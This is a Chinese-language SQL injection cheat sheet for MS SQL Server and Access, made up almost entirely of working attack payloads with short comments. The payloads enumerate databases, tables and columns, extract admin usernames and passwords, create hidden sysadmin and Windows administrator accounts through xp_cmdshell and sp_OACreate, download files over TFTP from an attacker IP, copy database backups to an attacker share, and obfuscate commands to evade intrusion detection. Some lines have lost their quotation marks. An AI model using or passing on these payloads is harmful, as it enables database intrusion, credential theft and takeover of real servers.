ｓｑｌ注射的标准语法II

得到库名（从1到5都是系统的id，6以上才可以判断）
and 1=(select name from master.dbo.sysdatabases where dbid=7)--
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
依次提交 dbid = 7,8,9.... 得到更多的数据库名

and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) 暴到一个表 假设为 admin
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in (Admin)) 来得到其他的表。
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin
and uid>(str(id))) 暴到UID的数值假设为18779569 uid=id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一个admin的一个字段,假设为 user_id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in
(id,...)) 来暴出其他的字段
and 0<(select user_id from BBS.dbo.admin where username>1) 可以得到用户名
依次可以得到密码。。。。。假设存在user_id username ,password 等字段

and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) 得到表名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in(Address))
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin and uid>(str(id))) 判断id值
and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段

?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin
?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin (union，access也好用)

得到WEB路径
;create table [dbo].[swap] ([swappass][char](255));--
and (select top 1 swappass from swap)=1--
;CREATE TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master..xp_regread @rootkey=HKEY_LOCAL_MACHINE, @key=SYSTEM/CurrentControlSet/Services/W3SVC/Parameters/Virtual Roots/, @value_name=/, values=@test OUTPUT insert into paths(path) values(@test)--
;use ku1;--
;create table cmd (str image);-- 建立image类型的表cmd

存在xp_cmdshell的测试过程：
;exec master..xp_cmdshell dir
;exec master.dbo.sp_addlogin jiaoniang$;-- 加SQL帐号
;exec master.dbo.sp_password null,jiaoniang$,1866574;--
;exec master.dbo.sp_addsrvrolemember jiaoniang$ sysadmin;--
;exec master.dbo.xp_cmdshell net user jiaoniang$ 1866574 /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add;--
;exec master.dbo.xp_cmdshell net localgroup administrators jiaoniang$ /add;--
exec master..xp_servicecontrol start, schedule 启动服务
exec master..xp_servicecontrol start, server
; DECLARE @shell INT EXEC SP_OACREATE wscript.shell,@shell OUTPUT EXEC SP_OAMETHOD @shell,run,null, C：/WINNT/system32/cmd.exe /c net user jiaoniang$ 1866574 /add
;DECLARE @shell INT EXEC SP_OACREATE wscript.shell,@shell OUTPUT EXEC SP_OAMETHOD @shell,run,null, C：/WINNT/system32/cmd.exe /c net localgroup administrators jiaoniang$ /add
; exec master..xp_cmdshell tftp -i youip get file.exe-- 利用TFTP上传文件

;declare @a sysname set @a=xp_+cmdshell exec @a dir c:/
;declare @a sysname set @a=xp+_cm'+'dshell exec @a dir c:/
;declare @a;set @a=db_name();backup database @a to disk=你的IP你的共享目录bak.dat
如果被限制则可以。
select * from openrowset(sqloledb,server;sa;,select OK! exec master.dbo.sp_addlogin hax)

查询构造：
SELECT * FROM news WHERE id=... AND topic=... AND .....
adminand 1=(select count(*) from [user] where username=victim and right(left(userpass,01),1)=1) and userpass <>
select 123;--
;use master;--
:a or name like fff%;-- 显示有一个叫ffff的用户哈。
and 1<>(select count(email) from [user]);--
;update [users] set email=(select top 1 name from sysobjects where xtype=u and status>0) where name=ffff;--
;update [users] set email=(select top 1 id from sysobjects where xtype=u and name=ad) where name=ffff;--
;update [users] set email=(select top 1 name from sysobjects where xtype=u and id>581577110) where name=ffff;--
;update [users] set email=(select top 1 count(id) from password) where name=ffff;--
;update [users] set email=(select top 1 pwd from password where id=2) where name=ffff;--
;update [users] set email=(select top 1 name from password where id=2) where name=ffff;--
上面的语句是得到数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。
通过查看ffff的用户资料可得第一个用表叫ad
然后根据表名ad得到这个表的ID 得到第二个表的名字

insert into users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)--
insert into users values( 667,123,123,0xffff)--
insert into users values ( 123, admin--, password, 0xffff)--
;and user>0
;and (select count(*) from sysobjects)>0
;and (select count(*) from mysysobjects)>0 //为access数据库

枚举出数据表名
;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0);--
这是将第一个表名更新到aaa的字段处。
读出第一个表，第二个表可以这样读出来（在条件后加上 and name<>刚才得到的表名）。
;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0 and name<>vote);--
然后id=1552 and exists(select * from aaa where aaa>5)
读出第二个表，一个个的读出，直到没有为止。
读字段是这样：
;update aaa set aaa=(select top 1 col_name(object_id(表名),1));--
然后id=152 and exists(select * from aaa where aaa>5)出错，得到字段名
;update aaa set aaa=(select top 1 col_name(object_id(表名),2));--
然后id=152 and exists(select * from aaa where aaa>5)出错，得到字段名

[获得数据表名][将字段值更新为表名，再想法读出这个字段的值就可得到表名]
update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>你得到的表名 查出一个加一个]) [ where 条件] select top 1 name from sysobjects where xtype=u and status>0 and name not in(table1,table2,...)
通过SQLSERVER注入漏洞建数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组]

[获得数据表字段名][将字段值更新为字段名，再想法读出这个字段的值就可得到字段名]
update 表名 set 字段=(select top 1 col_name(object_id(要查询的数据表名),字段列如:1) [ where 条件]

绕过IDS的检测[使用变量]
;declare @a sysname set @a=xp_+cmdshell exec @a dir c:/
;declare @a sysname set @a=xp+_cm'+'dshell exec @a dir c:/